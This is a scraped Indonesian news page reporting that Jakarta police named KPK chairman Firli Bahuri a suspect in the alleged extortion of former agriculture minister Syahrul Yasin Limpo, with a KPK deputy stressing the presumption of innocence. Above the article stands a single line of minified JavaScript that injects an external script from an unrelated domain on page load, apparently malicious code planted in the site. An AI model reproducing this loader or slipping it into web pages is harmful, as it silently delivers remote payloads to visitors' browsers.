(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Polda Metro Jaya resmi menetapkan Ketua KPK, Firli Bahuri sebagai tersangka kasus dugaan pemerasan terhadap eks Menteri Pertanian (Mentan), Syahrul Yasin Limpo (SYL).
“Menetapkan Saudara FB selaku Ketua KPK RI sebagai tersangka,” ujar Dirreskrimsus Polda Metro Jaya Kombes Pol Ade Safri Simanjuntak kepada wartawan, Rabu (22/11/2023) malam.
Ade menambahkan, saat ini pihaknya telah memeriksa 91 saksi terkait kasus tersebut. Firli juga bakal kembali diperiksa sebagai tersangka.
Sebelumnya, kasus dugaan pemerasan pimpinan KPK terhadap mantan Menteri Pertanian (Mentan) Syahrul Yasin Limpo (SYL) telah memasuki tahap penyidikan.
Baca juga: Mantan Kabid Disdik HSU Terjerat Korupsi, ‘Kumpulkan’ Uang dari Proyek DAK SD
Proses penyidikan dilakukan seusai pihak kepolisian melakukan gelar perkara 6 Oktober 2023 lalu.
Hingga saat ini, 91 saksi telah diperiksa terkait kasus tersebut. Mulai dari Firli Bahuri, ajudan Firli Bahuri, pegawai KPK, Kementan hingga Kapolrestabes Semarang Kombes Irwan Anwar. Selain itu sejumlah saksi ahli yakni Saut Situmorang dan M Jasin maupun pakar mikro ekspresi juga telah diperiksa.
Pimpinan Komisi Pemberantasan Korupsi (KPK) menekankan pentingnya untuk taat terhadap asas praduga tak bersalah.
Pernyataan ini disampaikan seusai Ketua KPK Firli Bahuri ditetapkan sebagai tersangka dalam kasus dugaan pemerasan terhadap mantan Menteri Pertanian (Mentan) Syahrul Yasin Limpo atau SYL.
Baca juga: Masuk 10 Besar, Kontingen Kalsel Sabet 42 Medali Pomnas XVIII 2023
“Kita harus taat dengan asas hukum,” kata Wakil Ketua KPK Johanis Tanak, di Jakarta, Kamis (23/11/2023).
Ditegaskan Tanak, setiap orang masih dianggap tidak bersalah selama belum ada putusan pengadilan yang berkekuatan hukum tetap.
“Setiap orang harus menghormati proses hukum,” tegas Tanak.
Firli Bahuri diketahui telah resmi ditetapkan sebagai tersangka kasus dugaan pemerasan terhadap SYL. Sementara itu, SYL saat ini juga telah ditahan oleh KPK terkait dugaan korupsi di lingkungan Kementan. (Kanalkalimantan/Beritasatu.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.